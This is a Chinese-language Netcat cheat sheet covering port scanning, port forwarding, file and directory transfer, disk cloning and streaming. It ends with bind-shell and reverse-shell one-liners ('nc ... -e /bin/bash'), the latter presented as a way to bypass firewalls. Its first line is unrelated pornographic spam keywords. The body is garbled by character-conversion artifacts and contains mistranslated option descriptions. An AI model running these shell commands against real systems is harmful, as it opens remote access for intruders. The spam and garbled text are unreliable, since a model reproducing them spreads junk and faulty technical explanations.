国产成人精品999视频&日本一区二区亚洲人妻精品&久久久精品国产99久久精&99热这里只有成人精品国产&精品国产剧情av一区二区&成人亚洲精品久久久久app&国产精品美女高潮抽搐A片

Netcat 備忘清單

該備忘單提供了在 Linux 和 Unix 上使用 Netcat 的各種方法。

入門

用法

連接到位于任何地方的主機(jī)

$ nc [options] [host] [port]

監(jiān)聽(tīng)傳入連接

$ nc -lp port [host] [port]

選項(xiàng)示例

選項(xiàng)示例說(shuō)明
-hnc -h幫助
-znc -z 192.168.1.9 1-100端口掃描主機(jī)或 IP 地址
-vnc -zv 192.168.1.9 1-100提供詳細(xì)輸出
-nnc -zn 192.168.1.9 1-100通過(guò)禁用 DNS 解析進(jìn)行快速掃描
-lnc -lp 8000TCP 偵聽(tīng)模式 (用于入站連接)
-wnc -w 180 192.168.1.9 8000定義超時(shí)值
-knc -kl 8000斷線后繼續(xù)收聽(tīng)
-unc -u 192.168.1.9 8000使用 UDP 而不是 TCP
-qnc -q 1 192.168.1.9 8000客戶在 EOF 后熬夜
-4nc -4 -l 8000僅限 IPv4
-6nc -6 -l 8000僅限 IPv6

聊天客戶端-服務(wù)器

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000

客戶端 Client

$ nc 192.168.1.9 8000

Netcat 示例

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

或者

echo "" | nc -zv -wl 192.168.1.1 801-805

端口掃描

掃描 2125 之間的端口

$ nc -zvn 192.168.1.1 21-25

掃描端口 22、33068080

$ nc -zvn 192.168.1.1 22 3306 8080

代理和端口轉(zhuǎn)發(fā)

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

或者

$ nc -l 8001 | nc 127.0.0.1 8000

創(chuàng)建從一個(gè)本地端口到另一個(gè)本地端口的隧道

下載文件

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000 < file.txt

客戶端 Client

$ nc -nv 192.168.1.9 8000 > file.txt

假設(shè)您想將文件 file.txt 從服務(wù)器 A 傳輸?shù)娇蛻舳?B。

上傳文件

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000 > file.txt

客戶端 Client

$ nc 192.168.1.9 8000 < file.txt

假設(shè)您想將文件 file.txt 從客戶端 B 傳輸?shù)椒?wù)器 A

目錄傳輸

服務(wù)器 Server (192.168.1.9)

$ tar -cvf – dir_name | nc -l 8000

客戶端 Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

假設(shè)您想通過(guò)網(wǎng)絡(luò)將目錄從 A 傳輸?shù)?B

加密傳輸

服務(wù)器 Server (192.168.1.9)

$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

客戶端 Client

$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

在通過(guò)網(wǎng)絡(luò)傳輸之前加密數(shù)據(jù)

克隆

服務(wù)器 Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

客戶端 Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

克隆 linux PC 非常簡(jiǎn)單。假設(shè)你的系統(tǒng)盤是 /dev/sda

視頻流

服務(wù)器 Server (192.168.1.9)

$ cat video.avi | nc -l 8000

客戶端 Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

使用 netcat 流式傳輸視頻

遠(yuǎn)程 shell

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

客戶端 Client

$ nc 192.168.1.9 8000

我們已經(jīng)使用 telnetssh 使用遠(yuǎn)程 Shell,但是如果它們沒(méi)有安裝并且我們沒(méi)有安裝它們的權(quán)限,那么我們也可以使用 netcat 創(chuàng)建遠(yuǎn)程 shell

逆轉(zhuǎn) shell

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000

客戶端 Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

反向 shell 通常用于繞過(guò)防火墻限制,例如阻止入站連接